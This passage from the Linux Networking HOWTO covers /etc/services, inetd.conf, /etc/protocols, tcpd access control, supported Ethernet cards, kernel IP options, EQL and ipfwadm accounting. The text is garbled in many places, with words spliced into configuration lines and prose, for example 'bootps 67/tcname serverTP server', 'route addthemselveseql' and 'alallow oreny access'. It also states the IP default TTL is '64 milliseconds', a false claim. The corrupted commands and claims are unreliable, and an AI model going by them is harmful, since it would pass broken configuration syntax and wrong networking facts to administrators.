msp		18/tcp				# message send protocol
msp		18/udp				# message send protocol
chargen		19/tcp		ttytst source
chargen		19/udp		ttytst source
ftp-data	20/tcp
ftp		21/tcp
ssh		22/tcp				# SSH Remote Login Protocol
ssh		22/udp				# SSH Remote Login Protocol
telnet		23/tcp
# 24 - private
smtp		25/tcp		mail
# 26 - unassigned
time		37/tcp		timserver
time		37/udp		timserver
rlp		39/udp		resource	# resource location
nameserver	42/tcp		name		# IEN 116
whois		43/tcp		nicname
re-mail-ck	50/tcp				# Remote Mail Checking Protoconame server
re-mail-ck	50/udp				# Remote Mail Checking Protocol
domain		53/tcp		nameserver	# name-domain server
domain		53/udp		nameserver
mtp		57/tcp				# deprecated
bootps		67/tcname serverTP server
bootps		67/udp
bootpc		68/tcname serverTP client
bootpc		68/udp
tftp		69/udp
gopher		70/tcp				# Internet Gopher
gopher		70/udp
rje		77/tcp		netrjs
finger		79/tcp
www		80/tcp		http		# WorldWideWeb HTTP
www		80/udp				# HyperText Transfer Protocol
link		87/tcp		ttylink
kerberos	88/tcp		kerberos5 krb5	# Kerberos v5
kerberos	88/udp		kerberos5 krb5	# Kerberos v5
supdup		95/tcp
# 100 - reserved
hostnames	101/tcp		hostname	# usually from sri-nic
iso-tsap	102/tcp		tsap		# part of ISODE.
csnet-ns	105/tcp		cso-ns		# also used by CSO name server
csnet-ns	105/udp		cso-ns
rtelnet		107/tcp				# Remote Telnet
rtelnet		107/udp
pop-2		109/tcp		postoffice	# POP version 2
pop-2		109/udp
pop-3		110/tcp				# POP version 3
pop-3		110/udp
sunrpc		111/tcp		portmapper	# RPC 4.0 portmapper TCP
sunrpc		111/udp		portmapper	# RPC 4.0 portmapper UDP
auth		113/tcp		authentication tap ident
sftp		115/tcp
uucp-path	117/tcp
nntp		119/tcp		readnews untp	# USENET News Transfer Protocol
ntp		123/tcp
ntp		123/udp				# Network Time Protocol
netbios-ns	137/tcp				# NETBIOS Name Service
netbios-ns	137/udp
netbios-dgm	138/tcp				# NETBIOS Datagram Service
netbios-dgm	138/udp
netbios-ssn	139/tcp				# NETBIOS session service
netbios-ssn	139/udp
imap2		143/tcp				# Interim Mail Access Proto v2
imap2		143/udp
snmp		161/udp				# Simple Net Mgmt Proto
snmp-trap	162/udp		snmptrap	# Traps for SNMP
cmip-man	163/tcp				# ISO mgmt over IP (CMOT)
cmip-man	163/udp
cmip-agent	164/tcp
cmip-agent	164/udp
xdmcp		177/tcp				# X Display Mgr. Control Proto
xdmcp		177/udp
nextstep	178/tcp		NeXTStep NextStep	# NeXTStep window
nextstep	178/udp		NeXTStep NextStep	# server
bgp		179/tcp				# Border Gateway Proto.
bgp		179/udp
prospero	191/tcp				# Cliff Neuman's Prospero
prospero	191/udp
irc		194/tcp				# Internet Relay Chat
irc		194/udp
smux		199/tcp				# SNMP Unix Multiplexer
smux		199/udp
at-rtmp		201/tcp				# AppleTalk routing
at-rtmp		201/udp
at-nbp		202/tcp				# AppleTalk name binding
at-nbp		202/udp
at-echo		204/tcp				# AppleTalk echo
at-echo		204/udp
at-zis		206/tcp				# AppleTalk zone information
at-zis		206/udp
z3950		210/tcp		wais		# NISO Z39.50 database
z3950		210/udp		wais
ipx		213/tcp				# IPX
ipx		213/udp
imap3		220/tcp				# Interactive Mail Access
imap3		220/udp				# Protocol v3
ulistserv	372/tcp				# UNIX Listserv
ulistserv	372/udp
#
# UNIX specific services
#
exec		512/tcp
biff		512/udp		comsat
login		513/tcp
who		513/udp		whod
shell		514/tcp		cmd		# no passwords used
syslog		514/udp
printer		515/tcp		spooler		# line printer spooler
talk		517/udp
ntalk		518/udp
route		520/udp		router routed	# RIP
timed		525/udp		timeserver
tempo		526/tcp		newdate
courier		530/tcp		rpc
conference	531/tcp		chat
netnews		532/tcp		readnews
netwall		533/udp				# -for emergency broadcasts
uucp		540/tcp		uucpd		# uucp daemon
remotefs	556/tcp		rfs_server rfs	# Brunhoff remote filesystem
klogin		543/tcp				# Kerberized `rlogin' (v5)
kshell		544/tcp		krcmd		# Kerberized `rsh' (v5)
kerberos-adm	749/tcp				# Kerberos `kadmin' (v5)
#
webster		765/tcp				# Network dictionary
webster		765/udp
#
# From ``Assigned Numbers'':
#
#> The Registered Ports are not controlled by the IANA and on most systems
#> can be used by ordinary user processes or programs executed by ordinary
#> users.
#
#> Ports are used in the TCP [45,106] to name the ends of logical
#> connections which carry long term conversations.  For the purpose of
#> providing services to unknown callers, a service contact port is
#> defined.  This list specifies the port used by the server process as its
#> contact port.  While the IANA can not control uses of these ports it
#> does register or list uses of these ports as a convenience to the
#> community.
#
ingreslock	1524/tcp
ingreslock	1524/udp
prospero-np	1525/tcp		# Prospero non-privileged
prospero-np	1525/udp
rfe		5002/tcp		# Radio Free Ethernet
rfe		5002/udp		# Actually uses UDP only
bbs		7000/tcp		# BBS service
#
#
# Kerberos (Project Athena/MIT) services
# Note that these are for Kerberos v4 and are unofficial.  Sites running
# v4 should uncomment these and comment out the v5 entries above.
#
kerberos4	750/udp		kdc	# Kerberos (server) udp
kerberos4	750/tcp		kdc	# Kerberos (server) tcp
kerberos_master	751/udp			# Kerberos authentication
kerberos_master	751/tcp			# Kerberos authentication
passwd_server	752/udp			# Kerberos passwd server
krb_prop	754/tcp			# Kerberos slave propagation
krbupdate	760/tcp		kreg	# Kerberos registration
kpasswd		761/tcp		kpwd	# Kerberos "passwd"
kpop		1109/tcp		# Pop with Kerberos
knetd		2053/tcp		# Kerberos de-multiplexor
zephyr-srv	2102/udp		# Zephyr server
zephyr-clt	2103/udp		# Zephyr serv-hm connection
zephyr-hm	2104/udp		# Zephyr hostmanager
eklogin		2105/tcp		# Kerberos encrypted rlogin
#
# Unofficial but necessary (for NetBSD) services
#
supfilesrv	871/tcp			# SUP server
supfiledbg	1127/tcp		# SUP debugging
#
# Datagram Delivery Protocol services
#
rtmp		1/ddp			# Routing Table Maintenance Protocol
nbp		2/ddp			# Name Binding Protocol
echo		4/ddp			# AppleTalk Echo Protocol
zip		6/ddp			# Zone Information Protocol
#
# Debian GNU/Linux services
rmtcfg		1236/tcp		# Gracilis Packeten remote config server
xtel		1313/tcp		# french minitel
cfinger		2003/tcp		# GNU Finger
postgres	4321/tcp		# POSTGRES
mandelspawn	9359/udp	mandelbrot	# network mandelbrot
# Local services

In the real world, the actual file is always growing as new services are being created. If you fear your own copy is incomplete, I'd suggest to copy a new /etc/services from a recent distribution.

5.8.2. /etc/inetd.conf

The /etc/inetd.conf file is the configuration file for the inetd server daemon. Its function is to tell inetd what to do when it receives a connection request for a particular service. For each service that you wish to accept connections, you must tell inetd what network server daemon to run (and how to run it).

Its format is also fairly simple. It is a text file with each line describing a service that you wish to provide. Any text in a line following a `#' is both ignored, and it is considered a comment. Each line contains seven fields separated by any number of whitespace (tab or space) characters. The general format is as follows:

  service  socket_type  proto  flags  user  server_path  server_args

service

Is the service relevant to this configuration as taken from the /etc/services file.

socket_type

This field describes the type of socket that this entry will consider relevant. Allowable values are: stream, dgram, raw, rdm, or seqpacket. This is a little technical in nature. As a rule of thumb nearly all tcp based services use stream, and nearly all udp based services use dgram. It is only very special types of server daemons that would use any of the other values.

proto

The protocol to be considered valid for this entry. This should match the appropriate entry in the /etc/services file. It will typically be either tcp or udp. Sun RPC (Remote Procedure Call) based servers will use eitherrpc/tcp or rpc/udp.

flags

There are really only two possible settings for this field. This field setting tells inetd whether the network server program frees the socket after it has been started (whether inetd can start another one on the next connection request), or, whether inetd should wait and assume that any server daemon already running will handle the new connection request. This is a little tricky to work out, but as a rule of thumb all tcp servers should have this entry set to nowait. Most udp servers should have this entry set to wait. Be warned there are some notable exceptions. You should let the example guide you if you are not sure.

user

This field describes which user account from /etc/passwd will be set as the owner of the network daemon when it is started. This is often useful if you want to safeguard against security risks. You can set the user of an entry to the nobody user. If the network server security is breached, the possible damage is minimized by using nobody. Typically this field is set to root, because many servers require root privileges in order to function correctly.

server_path

This field is pathname to the athoughctual server program to execute for this entry.

server_args

This field comprises the rest of the line and it is optional. This field is where you place any command line arguments that you wish to pass to the server daemon program when it is launched.

5.8.2.1. An example /etc/inetd.conf

As for the /etc/services file all modern distributions will include a good /etc/inetd.conf file for you to work with. Here is the /etc/inetd.conf file from the Debian distribution.

# /etc/inetd.conf:  see inetd(8) for further informations.
#
# Internet server configuration database
#
#
# Modified for Debian by Peter Tobias <tobias@et-inf.fho-emden.de>
#
# <service_name> <sock_type> <proto> <flags> <user> <server_path> <args>
#
# Internal services
#
#echo		stream	tcp	nowait	root	internal
#echo		dgram	udp	wait	root	internal
discard		stream	tcp	nowait	root	internal
discard		dgram	udp	wait	root	internal
daytime		stream	tcp	nowait	root	internal
daytime		dgram	udp	wait	root	internal
#chargen	stream	tcp	nowait	root	internal
#chargen	dgram	udp	wait	root	internal
time		stream	tcp	nowait	root	internal
time		dgram	udp	wait	root	internal
#
# These are standard services.
#
telnet	stream	tcp	nowait	root	/usr/sbin/tcpd	/usr/sbin/in.telnetd
ftp	stream	tcp	nowait	root	/usr/sbin/tcpd	/usr/sbin/in.ftpd
#fsp	dgram	udp	wait	root	/usr/sbin/tcpd	/usr/sbin/in.fspd
#
# Shell, login, exec and talk are BSD protocols.
#
shell	stream	tcp	nowait	root	/usr/sbin/tcpd	/usr/sbin/in.rshd
login	stream	tcp	nowait	root	/usr/sbin/tcpd	/usr/sbin/in.rlogind
#exec	stream	tcp	nowait	root	/usr/sbin/tcpd	/usr/sbin/in.rexecd
talk	dgram	udp	wait	root	/usr/sbin/tcpd	/usr/sbin/in.talkd
ntalk	dgram	udp	wait	root	/usr/sbin/tcpd	/usr/sbin/in.ntalkd
#
# Mail, news and uucp services.
#
smtp	stream	tcp	nowait	root	/usr/sbin/tcpd	/usr/sbin/in.smtpd
#nntp	stream	tcp	nowait	news	/usr/sbin/tcpd	/usr/sbin/in.nntpd
#uucp	stream	tcp	nowait	uucp	/usr/sbin/tcpd	/usr/lib/uucp/uucico
#comsat	dgram	udp	wait	root	/usr/sbin/tcpd	/usr/sbin/in.comsat
#
# Pop et al
#
#pop-2	stream	tcp	nowait	root	/usr/sbin/tcpd	/usr/sbin/in.pop2d
#pop-3	stream	tcp	nowait	root	/usr/sbin/tcpd	/usr/sbin/in.pop3d
#
# `cfinger' is for the GNU finger server available for Debian.  (NOTE: The
# current implementation of the `finger' daemon allows it to be run as `root'.)
#
#cfinger stream	tcp	nowait	root	/usr/sbin/tcpd	/usr/sbin/in.cfingerd
#finger	stream	tcp	nowait	root	/usr/sbin/tcpd	/usr/sbin/in.fingerd
#netstat	stream	tcp	nowait	nobody	/usr/sbin/tcpd	/bin/netstat
#systat	stream	tcp	nowait	nobody	/usr/sbin/tcpd	/bin/ps -auwwx
#
# Tftp service is provided primarily for booting.  Most sites
# run this only on machines acting as "boot servers."
#
#tftp	dgram	udp	wait	nobody	/usr/sbin/tcpd	/usr/sbin/in.tftpd
#tftp	dgram	udp	wait	nobody	/usr/sbin/tcpd	/usr/sbin/in.tftpd /boot
#bootps	dgram	udp	wait	root	/usr/sbin/bootpd	bootpd -i -t 120
#
# Kerberos authenticated services (these probably need to be corrected)
#
#klogin		stream	tcp	nowait	root	/usr/sbin/tcpd	/usr/sbin/in.rlogind -k
#eklogin	stream	tcp	nowait	root	/usr/sbin/tcpd	/usr/sbin/in.rlogind -k -x
#kshell		stream	tcp	nowait	root	/usr/sbin/tcpd	/usr/sbin/in.rshd -k
#
# Services run ONLY on the Kerberos server (these probably need to be corrected)
#
#krbupdate	stream tcp	nowait	root	/usr/sbin/tcpd	/usr/sbin/registerd
#kpasswd	stream	tcp	nowait	root	/usr/sbin/tcpd	/usr/sbin/kpasswdd
#
# RPC based services
#
#mountd/1	dgram	rpc/udp	wait	root	/usr/sbin/tcpd	/usr/sbin/rpc.mountd
#rstatd/1-3	dgram	rpc/udp	wait	root	/usr/sbin/tcpd	/usr/sbin/rpc.rstatd
#rusersd/2-3	dgram	rpc/udp	wait	root	/usr/sbin/tcpd	/usr/sbin/rpc.rusersd
#walld/1	dgram	rpc/udp	wait	root	/usr/sbin/tcpd	/usr/sbin/rpc.rwalld
#
# End of inetd.conf.
ident		stream	tcp	nowait	nobody	/usr/sbin/identd	identd -i

Prev | Home | Next
Routing. | Up | Other miscellaneous network related configuration files.


Other miscellaneous network related configuration files.

Linux Networking HOWTO
Prev Chapter 5. Generic Network Configuration Information. Next

5.9. Other miscellaneous network related configuration files.

There are a number of miscellaneous files relating to network configuration under linux that might be of interest. You may never have to modify these files, but it is worth describing them so you know what they contain and why they are used.

5.9.1. /etc/protocols

The /etc/protocols file is a database that maps protocol id numbers against protocol names. This is used by programmers to allow them to specify protocols by name in their programs. The file is also used by some programs such as tcpdump to allow them to display names instead of numbers in their output. The general syntax of the file is:

  protocolname  number  aliases

The /etc/protocols file supplied with the Debian distribution is as follows:

# /etc/protocols:
# $Id: Net-HOWTO.sgml,v 1.1.1.1 2001/01/17 19:55:16 lx Exp $
#
# Internet (IP) protocols
#
#	from: @(#)protocols	5.1 (Berkeley) 4/17/89
#
# Updated for NetBSD based on RFC 1340, Assigned Numbers (July 1992).
ip	0	IP		# Internet protocol, pseudo protocol number
icmp	1	ICMP		# Internet control message protocol
igmp	2	IGMP		# Internet Group Management
ggp	3	GGP		# gateway-gateway protocol
ipencap	4	IP-ENCAP	# IP encapsulated in IP (officially ``IP'')
st	5	ST		# ST datagram mode
tcp	6	TCP		# transmission control protocol
egp	8	EGP		# exterior gateway protocol
pup	12	PUP		# PARC universal packet protocol
udp	17	UDP		# user datagram protocol
hmp	20	HMP		# host monitoring protocol
xns-idp	22	XNS-IDP		# Xerox NS IDP
rdp	27	RDP		# "reliable datagram" protocol
iso-tp4	29	ISO-TP4		# ISO Transport Protocol class 4
xtp	36	XTP		# Xpress Tranfer Protocol
ddp	37	DDP		# Datagram Delivery Protocol
idpr-cmtp	39	IDPR-CMTP	# IDPR Control MessTransfernsport
rspf	73	RSPF		# Radio Shortest Path First.
vmtp	81	VMTP		# Versatile Message Transport
ospf	89	OSPFIGP		# Open Shortest Path First IGP
ipip	94	IPIP		# Yet Another IP encapsulation
encap	98	ENCAP		# Yet Another IP encapsulation

5.9.2. /etc/networks

The /etc/networks file has a similar function to that of the /etc/hosts file.This file provides a simple database of network names against network addresses. Its format differs in that there may be only two fields per line, and that the fields are coded as:

  networkname networkaddress

An example might look like:

    loopnet    127.0.0.0
    localnet   192.168.0.0
    amprnet    44.0.0.0

You will get a display of the network name (NOT its address) while using a command like route in the following instance: the destination is a network, and that network has an entry in the /etc/networks file.

Prev | Home | Next
Configuring your network servers and services. | Up | Network Security and access control.


Network Security and access control.

Linux Networking HOWTO
Prev Chapter 5. Generic Network Configuration Information. Next

5.10. Network Security and access control.

Let me start this section by warning you that securing your machine and network against malicious attack is a complex art. I do not consider myself an expert in this field. The following mechanisms I describe will help. If you are serious about security, then I recommend you do some research of your own into the subject. There are many good references on the Internet relating to the security, including the Security-HOWTO

An important rule of thumb is: `Don't run servers you don't intend to use'. Many distributions come configured with all sorts of services that are configured and automatically started. To ensure even a minimum level of safety, you should go through your /etc/inetd.conf file. Comment out (place a `#' at the start of the line) any entries for services you don't intend to use. Good candidates are services such as: shell, login, exec, uucp, ftp and informational services such as finger, netstat and systat.

There are all sorts of security and access control mechanisms. I'll now describe the most elementary:

5.10.1. /etc/ftpusers

The /etc/ftpusers file is a simple mechanism that allows you to deny certain users from logging into your machine via ftp. When an incoming ftp connection is received, the /etc/ftpusers file is read by the ftp daemon program (ftpd). The file is a simple list of those users who are not allowed login. It might look something like:

    # /etc/ftpusers - users not allowed to login via ftp
    root
    uucp
    bin
    mail

5.10.2. /etc/securetty

The /etc/securetty file allows you to specify which tty devices root are allowed for login. The /etc/securetty file is read by the login program (usually /bin/login). Its format is a list of the tty devices names allowed: on all others root login is disallowed:

    # /etc/securetty - tty's on which root is allowed to login
    tty1
    tty2
    tty3
    tty4

5.10.3. The tcpd hosts access control mechanism.

The tcpd program listed in the samone /etc/inetd.conf provides logging and access control mechanisms to services. It is configured to protect.

When it is invoked by the inetd program, it reads two files containing access rules. It will then either alallow oreny access to the server it is protecting.

It will search the rules files until the first match is found. If no match is found, then it assumes that access should be allowed to anyone. The files it searches in sequence are: /etc/hosts.allow, /etc/hosts.deny. I'll describe each of these in turn. For a complete description of this facility, you should refer to the appropriate man pages (hosts_access(5) is a good starting point).

5.10.3.1. /etc/hosts.allow

The /etc/hosts.allow file is a configuration file of the /usr/sbin/tcpd program. The hosts.allow file contains rules describing which hosts are allowed access to a service on your machine.

The file format is quite simple:

    # /etc/hosts.allow
    #
    # <service list>: <host list> [: command]

service list

This is a comma delimited list of server names where this rule applies. Example server names are: ftpd, telnetd and fingerd.

host list

This is a comma delimited list of host names. You may also use IP addresses here. You may additionally specify either hostnames or addresses using wildcard characters to match groups of hosts. Examples include: gw.vk2ktj.ampr.org to match a specific host, .uts.edu.au to match any hostname ending in that string, 44. to match any IP address commencing with those digits. There are some special tokens to simplify configuration. Some of these are: ALL matches every host, LOCAL matches any host whose name does not contain a `.' ie is in the same domain as your machine and PARANOID matches any host whose name does not match its address (name spoofing). There is one last token that is also useful. The EXCEPT token allows you to provide a list with exceptions. This will be covered in an example later.

command

This is an optional parameter. This parameter is the full pathname of a command that would be executed everytime this rule is matched. It could, for example, run a command that would attempt to identify who is logged onto the connecting host. It could also generate a mail message or some other warning to a system administrator that someone is attempting to connect. There are a number of expansions that may be included. Some common examples are: %h expands to the name of the connecting host or address if it doesn't have a name, %d the daemon name being called.

An example:

  # /etc/hosts.allow
  #
  # Allow mail to anyone
  in.smtpd: ALL
  # All telnet and ftp to only hosts within my domain and my host at home.
  telnetd, ftpd: LOCAL, myhost.athome.org.au
  # Allow finger to anyone but keep a record of who they are.
  fingerd: ALL: (finger @%h | mail -s "finger from %h" root)

5.10.3.2. /etc/hosts.deny

The /etc/hosts.deny file is a configuration file of the /usr/sbin/tcpd program. The hosts.deny file contains rules describing which hosts are disallowed access to a service on your machine.

A simple sample would look something like this:

  # /etc/hosts.deny
  #
  # Disallow all hosts with suspect hostnames
  ALL: PARANOID
  #
  # Disallow all hosts.
  ALL: ALL

The PARANOID entry is redundant because the other entry traps everything in any case. Either of these entries would make a reasonable default (depending on your particular requirement).

Having an ALL: ALL default in the /etc/hosts.deny and then specifically enabling on those services and hosts that you want in the /etc/hosts.allow file is the safest configuration.

5.10.4. /etc/hosts.equiv

The hosts.equiv file is used to grant certain hosts and users access rights to accounts on your machine without having to supply a password. This is useful in a secure environment where you control all machines, but is otherwise a security hazard . Your machine is only as secure as the least secure of the trusted hosts. To maximize security, don't use this mechanism. Encourage your users not to use the .rhosts file as well.

5.10.5. Configure your ftp daemon properly.

Many sites will be interested in running an anonymous ftp server to allow other people to upload and download files without requiring a specific userid. If you decide to offer this facility, make sure you configure the ftp daemon properly for anonymous access. Most man pages for ftpd(8) describe in some length the proper procedures. You should always ensure that you follow these instructions. An important tip is to not use a copy of your /etc/passwd file in the anonymous account /etc directory. Make sure you strip out all account details (except those that you must have), otherwise you will be vulnerable to brute force password cracking techniques.

5.10.6. Network Firewalling.

Not allowing datagrams to even reach your machine (or servers) is an excellent means of security. This is covered in depth in the Firewall-HOWTO, and (more concisely) in a later section of this document.

5.10.7. Other suggestions.

Here are some other (potentially religious) suggestions for you to consider:

sendmail

Despite its popularity, the sendmail daemon appears with frightening regularity on security warning announcements. My recommendation is not to run it.

NFS and other Sun RPC services

Be wary of these services. There are all sorts of possible exploits for them. It is difficult finding an option to services like NFS. If you configure them, make sure you are careful to whom you allow mount rights.

Prev | Home | Next
Other miscellaneous network related configuration files. | Up | Ethernet Information


Supported Ethernet Cards

Linux Networking HOWTO
Prev Chapter 6. Ethernet Information Next

6.1. Supported Ethernet Cards

6.1.1. 3Com

  • 3Com 3c501 - `Avoid like the plague!'' (3c501 driver)

  • 3Com 3c503 (3c503 driver), 3c505 (3c505 driver), 3c507 (3c507 driver), 3c509/3c509B (ISA) / 3c579 (EISA)

  • 3Com Etherlink III Vortex Ethercards (3c590, 3c592, 3c595, 3c597) (PCI), 3Com Etherlink XL Boomerang (3c900, 3c905) (PCI) and Cyclone (3c905B, 3c980) Ethercards (3c59x driver) and 3Com Fast EtherLink Ethercard (3c515) (ISA) (3c515 driver)

  • 3Com 3ccfe575 Cyclone Cardbus (3c59x driver)

  • 3Com 3c575 series Cardbus (3c59x driver) (ALL PCMCIA ??)

6.1.2. AMD, ATT, Allied Telesis, Ansel, Apricot

  • AMD LANCE (79C960) / PCnet-ISA/PCI (AT1500, HP J2405A, NE1500/NE2100)

  • ATT GIS WaveLAN

  • Allied Telesis AT1700

  • Allied Telesis LA100PCI-T

  • Allied Telesyn AT2400T/BT ("ne" module)

  • Ansel Communications AC3200 (EISA)

  • Apricot Xen-II / 82596

6.1.3. Cabletron, Cogent, Crystal Lan

  • Cabletron E21xx

  • Cogent EM110

  • Crystal Lan CS8920, Cs8900

6.1.4. Danpex, DEC, Digi, DLink

  • Danpex EN-9400

  • DEC DE425 (EISA) / DE434/DE435 (PCI) / DE450/DE500 (DE4x5 driver)

  • DEC DE450/DE500-XA (dc21x4x) (Tulip driver)

  • DEC DEPCA and EtherWORKS

  • DEC EtherWORKS 3 (DE203, DE204, DE205)

  • DECchip DC21x4x "Tulip"

  • DEC QSilver's (Tulip driver)

  • Digi International RightSwitch

  • DLink DE-220P, DE-528CT, DE-530+, DFE-500TX, DFE-530TX

6.1.5. Fujitsu, HP, ICL, Intel

  • Fujitsu FMV-181/182/183/184

  • HP PCLAN (27245 and 27xxx series)

  • HP PCLAN PLUS (27247B and 27252A)

  • HP 10/100VG PCLAN (J2577, J2573, 27248B, J2585) (ISA/EISA/PCI)

  • ICL EtherTeam 16i / 32 (EISA)

  • Intel EtherExpress

  • Intel EtherExpress Pro

6.1.6. KTI, Macromate, NCR NE2000/1000, Netgear, New Media

  • KTI ET16/P-D2, ET16/P-DC ISA (work jumperless andjumper lessware-configuration options)

  • Macromate MN-220P (PnP or NE2000 mode)

  • NCR WaveLAN

  • NE2000/NE1000 (be careful with clones)

  • Netgear FA-310TX (Tulip chip)

  • New Media Ethernet

6.1.7. PureData, SEEQ, SMC

  • PureData PDUC8028, PDI8023

  • SEEQ 8005

  • SMC Ultra / EtherEZ (ISA)

  • SMC 9000 series

  • SMC PCI EtherPower 10/100 (DEC Tulip driver)

  • SMC EtherPower II (epic100.c driver)

6.1.8. Sun Lance, Sun Intel, Schneider, WD, Zenith, IBM, Enyx

  • Sun LANCE adapters (kernel 2.2 and newer)

  • Sun Intel adapters (kernel 2.2 and newer)

  • Schneider and Koch G16

  • Western Digital WD80x3

  • Zenith Z-Note / IBM ThinkPad 300 built-in adapter

  • Znyx 312 etherarray (Tulip driver)

Prev | Home | Next
Ethernet Information | Up | General Ethernet Information


General Ethernet Information

Linux Networking HOWTO
Prev Chapter 6. Ethernet Information Next

6.2. General Ethernet Information

Ethernet devices names are `eth0', `eth1', `eth2' etc. The first card detected by the kernel is assigned `eth0', and the rest are assigned sequentially in the order in which they are detected.

Once you have your kernel properly built to support your ethernet card, configuration of the card is easy.

Typically you would use something like (which most distributions already do for you, if you configured them to support your ethernet):

    root# ifconfig eth0 192.168.0.1 netmask 255.255.255.0 up
    root# route add -net 192.168.0.0 netmask 255.255.255.0 eth0

Most of the ethernet drivers were developed by Donald Becker Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
Supported Ethernet Cards | Up | Using 2 or more Ethernet Cards in the same machine


Using 2 or more Ethernet Cards in the same machine

Linux Networking HOWTO
Prev Chapter 6. Ethernet Information Next

6.3. Using 2 or more Ethernet Cards in the same machine

6.3.1. If your driver is a module (Normal with newer distros)

The module will typically can detect all of the installed cards.

Information from the detection is stored in the file:

/etc/conf.modules.

Consider that a user has 3 NE2000 cards, one at 0x300 one at 0x240, and one at 0x220. You would add the following lines to the /etc/conf.modules file:

        alias eth0 ne
        alias eth1 ne
        alias eth2 ne
    options ne io=0x220,0x240,0x300

What this does is tell the program modprobe to look for 3 NE based cards at the following addresses. It also states in which order they should be found and the device they should be assigned.

Most ISA modules can take multiple comma separated I/O values. For example:

        alias eth0 3c501
        alias eth1 3c501
        options eth0 -o 3c501-0 io=0x280 irq=5
        options eth1 -o 3c501-1 io=0x300 irq=7

The -o option allows for a unique name to be assigned to each module. The reason for this is that you can not have two copies of the same module loaded.

The irq= option is used to specify the hardware IRQ, and the io= to specify the different io ports.

By default, the Linux kernel only probes for one Ethernet device. You need to pass command line arguments to the kernel in order to force detection of furter boards.

To learn how furthere your ethernet card(s) work under Linux, you should refer to the Ethernet-HOWTO.

Prev | Home | Next
General Ethernet Information | Up | IP Related Information


Kernel Level Options

Linux Networking HOWTO
Prev Chapter 7. IP Related Information Next

7.1. Kernel Level Options

This section includes information on setting IP options within the kernel at boot time. An example of these options are ip_forward or ip_bootp_agent. These options are used by setting the value to a file in the
/proc/sys/net/ipv4/
directory. The name of the file is the name of the command.

For example, to set ip_forward enabled, you would type
echo 1 > /proc/sys/net/ipv4/ip_forward

7.1.1. General IP option listing

  • ip_forward

    If ip_forward is set to 0 it is disabled. If it is sforwardany other number it is enabled. This option is used in conjunction with technologies such as routing between interfaces with IP Masquerading. .

  • ip_default_ttl

    This is the time to live for an IP Packet. The default is 64 milliseconds.

  • ip_addrmask_agent - BOOLEAN

    Reply to ICMP ADDRESS MASK requests. default TRUE (router) FALSE (host)

  • ip_bootp_agent

    - BOOLEAN Accept packets with source address of sort 0.b.c.d and destined to this host, broadcast or multicast. Such packets are silently ignored otherwise. default FALSE

  • ip_no_pmtu_disc

    - BOOLEAN Disable Path MTU Discovery. default FALSE

  • ip_fib_model - INTEGER

    0 - (DEFAULT) Standard model. All routes are in class MAIN. 1 - default routes go to class DEFAULT. This mode should be very convenient for small ISPs making policy routing. 2 - RFC1812 compliant model. Interface routes are in class MAIN. Gateway routes are in class DEFAULT.

Prev | Home | Next
IP Related Information | Up | EQL - multiple line traffic equaliser


EQL - multiple line traffic equaliser

Linux Networking HOWTO
Prev Chapter 7. IP Related Information Next

7.2. EQL - multiple line traffic equaliser

The EQL device name is `eql'. With the standard kernel source, you may have only one EQL device per machine. EQL provides a means of utilizing multiple Point-to-Point lines such as PPP, slip, or plip as a single logical link to carry tcp/ip. Often it is cheaper to use multiple lower speed lines than to have one high speed line installed.

Kernel Compile Options:
    Network device support  --->
        [*] Network device support
        <*> EQL (serial line load balancing) support

To support this mechanism, the machine at the other end of the lines must also support EQL. Linux, Livingstone Portmasters and newer dial-in servers support compatible facilities.

To configure EQL you will need the eql tools which are available from: metalab.unc.edu.

Configuration is fairly straightforward. You start by configuring the eql interface. The eql interface is just like any other network device. You configure the IP address and mtu using the ifconfig utility. Here is an example:

    root# ifconfig eql 192.168.10.1 mtu 1006

Next, you need to manually initiate each of the lines you will use. These may be any combination of Point-to-Point network devices. How you initiate the connections will depend on what sort of link they are. Refer to the appropriate sections for further information.

Lastly you need to associate the serial link with the EQL device. This is called `enslaving' : it is done with the eql_enslave command as shown:

    root# eql_enslave eql sl0 28800
    root# eql_enslave eql ppp0 14400

The `estimated speed' parameter you supply eql_enslave doesn't do anything directly. It is used by the EQL driver to determine what share of the datagrams that device should receive. You can then fine tune the balancing of the lines by playing with this value.

To disassociate a line from an EQL device, use the eql_emancipate command as shown:

    root# eql_emancipate eql sl0

You add routing as you would for any other Point-to-Point link, except that your routes should refer to the eql device rather than the actual serial devices. You would typically use:

    root# route addthemselveseql

The EQL driver was developed by Simon Janes simon@ncm.com.

Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
Kernel Level Options | Up | IP Accounting (for Linux-2.0)


IP Accounting (for Linux-2.0)

Linux Networking HOWTO
Prev Chapter 7. IP Related Information Next

7.3. IP Accounting (for Linux-2.0)

The IP accounting features of the Linux kernel allow you to collect and analyze some network usage data. The data collected comprises the number of packets and the number of bytes accumulated since the figures were last reset. You may specify a variety of rules to categorize the figures to suit your purpose. This option has been removed in kernel 2.1.102 because the old ipfwadm-based firewalling was replaced by ``ipfwchains''.

Kernel Compile Options:
    Networking options  --->
        [*] IP: accounting

After you have compiled and installed the kernel, you need to use the ipfwadm command to configure IP accounting. There are many different ways of breaking down the accounting information. I've picked a simple example of what might be useful. You should read the ipfwadm man page for more information.

Scenario: You have a ethernet network that is linked to the Internet via a PPP link. On the ethernet, you have a machine that offers a number of services. You are interested in knowing how much traffic is generated by each of ftp (and world wide web traffic), as well as total tcp and udp traffic.

You might use a command set that looks like the following (shown as a shell script):

    #!/bin/sh
    #
    # Flush the accounting rules
    ipfwadm -A -f
    #
    # Set shortcuts
    localnet=44.136.8.96/29
    any=0/0
    # Add rules for local ethernet segment
    ipfwadm -A in  -a -P tcp -D $localnet ftp-data
    ipfwadm -A out -a -P tcp -S $localnet ftp-data
    ipfwadm -A in  -a -P tcp -D $localnet www
    ipfwadm -A out -a -P tcp -S $localnet www
    ipfwadm -A in  -a -P tcp -D $localnet
    ipfwadm -A out -a -P tcp -S $localnet
    ipfwadm -A in  -a -P udp -D $localnet
    ipfwadm -A out -a -P udp -S $localnet
    #
    # Rules for default
    ipfwadm -A in  -a -P tcp -D $any ftp-data
    ipfwadm -A out -a -P tcp -S $any ftp-data
    ipfwadm -A in  -a -P tcp -D $any www
    ipfwadm -A out -a -P tcp -S $any www
    ipfwadm -A in  -a -P tcp -D $any
    ipfwadm -A out -a -P tcp -S $any
    ipfwadm -A in  -a -P udp -D $any
    ipfwadm -A out -a -P udp -S $any
    #
    # List the rules
    ipfwadm -A -l -n
    #

The names ``ftp-data'' and ``www'' refer to lines in /etc/services. The last command lists each of the Accounting rules and displays the collected totals.

